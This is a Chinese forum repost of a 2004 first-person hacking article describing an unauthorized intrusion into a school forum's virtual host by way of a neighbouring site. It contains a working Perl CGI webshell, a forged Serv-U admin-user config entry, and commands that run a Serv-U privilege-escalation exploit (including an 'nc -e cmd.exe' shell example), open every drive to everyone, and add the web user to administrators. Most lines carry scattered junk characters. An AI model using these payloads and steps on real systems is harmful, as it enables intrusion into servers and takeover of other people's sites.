找回密码
 立即注册
查看: 2257|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 8 b- k; f7 A2 e
本文作者:angel5 e+ \' M# I& t: X3 g" I. C
文章性质:原创5 F9 f3 S) i  d" X7 `& l1 y) ^5 |
发布日期:2004-11-09 * l0 ^- [& x) q! s8 A
注意:* N9 ^' ?6 c7 ?1 |# C0 t
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
- ^, }" R- o1 {3 s* T# b: F本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
! N0 h7 `$ m6 p3 p7 _: y0 Z; w6 H' L  n- W# f9 d
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
" i* N0 C- Q- |$ c
6 R! {  c4 r) R" a  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
1 m- Y$ @, L# ^: m7 z' m6 y. t  O+ g8 h2 G+ T
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 0 m5 ]1 j2 b$ y3 p* q8 B6 @2 E
( K& P* f5 }% e* [( M! P5 c9 q- t8 r
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ' l. K$ h) g) O, Z5 }
* x, k: l9 J# B, G  g
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 9 n( [0 O& |  l& j( B9 o
$ S8 P: X% j' a" S* Z6 a  Q' j
  没有目的的跳转目录着…… 6 P- M2 e9 o2 m  X

$ J% X" v9 E2 t+ z- e  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
7 B6 K6 Y5 Y4 M6 G3 f+ S& f# z
; U% {! M& A1 B5 `: D+ w  结束了吗?不,我试着 FTP 一下: % a9 q) e. r: B3 R! F' [0 _
2 V, r  B$ @- v& S% {+ {
Microsoft Windows 2000 [Version 5.00.2195]
4 _1 }3 w  j6 G(C) 版权所有 1985-2000 Microsoft Corp.
( g! n/ w9 f; f. Y4 x5 l1 K/ ]4 `1 Y; n2 C* [
C:\Documents and Settings\Administrator>ftp www.school.com) L8 X) w9 l5 ~8 C
Connected to www. school.com.
9 A; |" n- p% u( X/ v9 @220 Welcome to FTP Server... + o5 x2 Z, `  T$ ?) Y
User (www.bjtrq.com:(none)):
: L3 c" E& ?/ `" V331 User name okay, need password.
  \* k0 _% @9 G% `Password: 0 m9 ^* g: a; p9 B8 x
530 Not logged in.
4 h8 w1 D5 p' {+ D2 }; CLogin failed.
& o' K/ j( a4 I3 ^7 rftp> bye + W: A& p: ]% g8 V5 u0 p% E- H) e$ G
221 Goodbye! 9 |$ b, f) Q: f/ J; ~% c

0 l& r) l- x: z2 I6 z3 M7 l- f8 z! A. R' O% v
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 5 A3 W. f* D* d" p- o7 z0 ^
  V/ h1 V, J! W. G3 B5 Y2 C
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 7 B; k( b: F6 l, f& X
" }" P, }, d- c4 z/ T; M
Application Data
1 l+ F6 H% r, U/ \7 u! {0 H) F. iDocuments
# v2 G8 Z" x4 q8 A) }% A4 tDRM# Y' e# I! N8 M5 {9 D1 _6 \: q% s$ l
Favorites
% I; T  L1 M; s; C! D; Y5 w4 E5 U1 RTemplates
+ i% ?3 F  w  [, `, o/ e「开始」菜单
' Q$ _5 l4 C3 u( Z, A0 \! l! ]桌面
2 ~0 F& k& r) p- b( Z1 j , a, o' I$ [2 Z2 C7 @

1 D$ w* e9 x0 |9 s1 C6 d  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 6 }2 a% R! u, U: U, J- X& ?* E
2 D# C: }9 E, D' k0 O1 Y" F8 }
ActiveState ActivePerl 5.8
' I: A# X# d" k6 J8 c6 p4 |% TAdministrative Tools
- V7 |% [- S" I9 w( U: A$ cDeerfield.com' i# o( X; _$ h% `% m3 O5 o
DTemp
" ~3 g/ F. O7 vIPSentry- k+ @: \# h8 n. S6 Q% h
MBM 5
) c# a* ?  v  f* r9 |" c; ^NetMeter
0 d* R) k; t7 e/ J' i! iNetwork ICE
+ d: S8 [# k6 ]: V' j0 CPersits Software AspEmail8 P( D7 O- J7 ^1 z
Persits Software AspJpeg
3 p7 b& u/ c- PServ-U FTP Server
. V: L5 i6 v& |8 O$ y  r; ZSymantec Client Security
5 M6 Y$ n1 f/ P) dWindows 优化大师  L. [7 Q6 A# P; R8 e& t
WinRAR
  T; s4 o1 [4 [# h7 Z启动/ V0 N4 m( A2 J5 P/ I$ Z. [
管理工具7 v0 r+ G0 ~  w1 ~
附件
# q6 v* C5 m, ~1 y  ^7 ^9 A
( ^! i- L1 K+ j& E6 z) L' R( _! n  \7 P) v! C# d
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 2 q4 {2 z: K. Q( ^
+ ^# X2 k3 c7 _5 E( t2 ~7 d. _
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
+ f* _/ a; I8 N! O& e5 H- ]
1 @* [9 L/ X% a# z; z6 N2 uUser281=angel|1|0 + c# `/ V! n2 Z& }* o

. h  @% e. r2 c2 h) h/ h0 M6 \' _# l6 Z
  然后加上
# [: s. }$ D3 A, d) m: W) T* i/ c" }- O5 t+ a+ |, x
[USER=angel|1]
9 h3 g" `& o3 B% LPassword=ng98F85379EA68DBF97BAADCA99B69B8059 g# q0 Q: \5 J! \
HomeDir=D:\websites$ g1 G# h" Z) |; z3 v, z+ f
RelPaths=1
0 P1 B1 L9 W1 w  dTimeOut=600
% n0 ^1 S1 }; V+ XMaintenance=System* D. W! q$ e4 G1 b
Access1=D:\websites|RWAMELCDP, M& H2 s& I  _( k; u
SKEYValues=# R6 k) h2 B# B/ U& ?
0 G% i# }6 V1 ^) C) Q0 J

5 W! {+ S, j  P; }* G( n0 ]  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… - _0 n& J3 t6 \( m
( a& Q( c; m5 b# o; J  x
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
, B8 H6 S6 X, [( {9 p4 h" P% v' B: D) B6 w
  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
+ H" \- u: t" P0 M; i( B: @" A6 E7 i% [" W2 z2 ~2 Z! X
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
2 [0 N: B( e% ?) M9 r& M5 t4 T# p$ a8 `  w
#!/usr/bin/perl6 R( n& }+ Y7 j7 l2 f+ j
binmode(STDOUT);: y& u% w4 N5 |" u* |  ?( \! g
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
, G% i, K2 F) X4 X( n$_ = $ENV{QUERY_STRING};
3 ^( V1 a2 T+ `s/%20/ /ig;- z9 N6 f+ m7 B3 d5 f# c; ]
s/%2f/\//ig;
. k; ~# `3 _0 M1 c0 Q* ~$execthis = $_;. F/ N; @9 A' @0 i0 j
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);0 n, R! _7 g/ ]* b4 m" W
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
! q6 B$ I, i7 i* c( A/ X- Ksystem($execthis);4 E! p5 ^' ?9 z, K; Z
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);0 ]6 O+ M6 ^/ x+ H& Z0 l5 [
close(STDERR);
" F0 M6 r; k8 y: E* s0 l+ l  a9 M# Zclose(STDOUT);& k) K: q. ^/ t* k( H. j
exit;3 _2 i1 b: B% D) x9 k% }

' l3 L! Z$ O  c% e$ q. ?$ v; K% v8 W4 o2 G
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! - ^* W( b# l: p. T) f/ W

/ |# k3 m" m' d7 o8 L  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
, p) a8 n) z1 ?; ^; n3 H) x: g
. q3 q! ~! z5 l- hhttp://anyhost//cmd.pl?d:\user\bin\su.exe , w' F% e) Q0 H6 \
* z* t7 M' Q3 ]. V/ u
0 Z7 W1 P4 s* r9 g/ x
  返回:
: N' b8 o) {4 C% Z8 N( Y
7 S+ H- ^' @* U0 |5 m3 B* @3 X' @& h+ t' @Serv-u >3.x Local Exploit by xiaolu
1 }1 k/ I; L; ^' Q" I5 e
/ u4 t8 k! q2 l5 p3 EUSAGE: serv-u.exe "command"
6 t# b4 q4 d! H/ R' \! P7 c1 N$ P" v, G6 s; r! j2 B: @; {( r
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" " I9 M9 O6 K: z
+ V( }: Y7 s' _& |6 a
5 b/ e! c5 M; Q3 l% K* d
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
( M7 h- c$ N0 ~! H3 [, o' `: y0 O* N0 N3 x, j, ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" / y. d8 c; b; F4 i: @7 K3 A

1 D0 r, b, w* p- {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 7 S3 o9 ~( Z6 D) m$ M
) r& M5 e7 k5 |; p
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
' y$ M0 \( I$ I
& |% Y( O8 s# `+ M2 x/ Phttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 5 F4 z" z7 x* x/ ?: S
! k- P) A( \% q* T! R: X" ]# o

. o3 d! ~. U  u7 ~  L) u  返回下面的信息,就表示成功了!!!
7 ^1 T" P4 ?3 r  U$ N% o* [! G% f. b( U! k
Serv-u >3.x Local Exploit by xiaolu
3 [* F& P+ p8 V; w8 s: }# K4 V: D3 b0 j9 U: |$ H
<220 Serv-U FTP Server v5.2 for WinSock ready...
$ A$ w3 ^# D, }, d* J2 q9 B( Y2 D& _9 h: A
>USER LocalAdministrator 9 I. s- G: i5 I1 @$ q3 f% s8 u

( G* |' O$ D: F# B<331 User name okay, need password.
1 [" C, P& i& N; t! Z
% l; K% c  H9 Y3 S******************************************************
+ f, `  Y% c8 X; ?4 W8 p: q9 H/ ?! I1 O1 N7 |: k! i
>PASS #l@$ak#.lk;0@P " r* f! {: ~/ a/ w( v7 a, s3 N
% Q$ R& q& _1 J, z# A7 u, U
<230 User logged in, proceed. ' E8 l" m9 R" q; f0 T# z1 h
1 w- ?8 @# Y) ~  B5 ^0 p! L
******************************************************
; B$ v7 }3 v4 n0 U; J4 Q6 ^5 }4 z* |) u/ d
>SITE MAINTENANCE , B$ s- u4 V/ ?8 t3 \
1 D: ?/ p8 f& g+ G
******************************************************
; d% P5 U, P( U, ^$ J4 X! e% \8 t# \, H: _* y4 t% ~
[+] Creating New Domain... , M0 l3 t  x' U% |
. d( S( e/ U+ P- K. @5 ~
<200-DomainID=2
7 \7 Z1 e4 N0 `" Y' {0 I% l9 m
- N, f6 K* T% P" m+ K<220 Domain settings saved
! ~. k3 `4 a4 v+ f7 \
! X1 |8 M# p. e****************************************************** $ @. b  W0 r" p* F- ]  l6 E: [& f

. q+ C% N: S0 I& _# d5 H& L# i[+] Domain xl:2 Created ) C% e: x& O( n) r. _
# X* n, z$ W+ |- _0 D* M& H: V
[+] Creating Evil User ! t9 W( J0 S9 C* ?; E
( u* G! ^  L4 C( \0 ], b7 e
<200-User=xl
8 ~7 t) q' t7 ]: `! j
$ `. x2 S/ _9 |200 User settings saved 2 G* _. T! z  d. C- p
$ s1 `( T/ I" t9 a. Q1 F% j
******************************************************
& ]; I& S9 O! |
4 b: X/ j% j# {; Z[+] Now Exploiting...
" C" r3 U: T" l9 ?- A! F& K7 o+ H7 p" k5 ~
>USER xl % Z4 m# Y& ^$ W) r, a7 Z0 x
1 }: W, g8 ^. E; f
<331 User name okay, need password.
% G$ v5 u9 K3 ]6 f" F: m
5 Z, r/ s% K$ G5 y6 |8 {5 ~****************************************************** 0 U, U* a" q9 j6 M+ V

0 r7 `4 l9 z0 _4 G9 S# l>PASS 111111 0 t. }4 A4 [' _$ k8 @
0 i' ^* A9 Z8 Z: D
<230 User logged in, proceed. 5 [1 U! Q8 h6 x% d& @% J3 Z3 c+ Q, ?" C
: [9 c4 a0 w. F, r3 B; J
******************************************************
+ b6 U% A' u" V! N9 Q' M- `0 g$ L% E8 w8 o+ y$ `: R
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 8 a; b/ K  v/ |: C/ O

4 u: P: Z8 g# R# n/ f$ X<220 Domain deleted 3 w, ~. p/ D* R8 L

7 p, M$ D. F" }- W4 ?5 @******************************************************
# ?% G1 J$ q4 D# ^2 a4 u 7 R  `* v/ d- D, g3 }$ ^5 d
: B5 I& \% \9 u2 ~
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
) a- Y# z; [  b% R! Y9 ]4 S( X2 M% z, C* W- P' c, _  A
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
1 ^1 E: g4 ]$ `+ |% N" L
; t* F9 b) u) n3 ^. p& u' C
; O" I8 }6 t3 @( H9 i% I  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 5 I4 @6 Y" E( c8 [
# t' |# f, y; d7 t
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
: P  {% C8 Z/ y7 i0 E, G1 g+ Y 1 f2 C4 z% N' W7 i
  7 X& T. Z% P' n% B5 V' z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表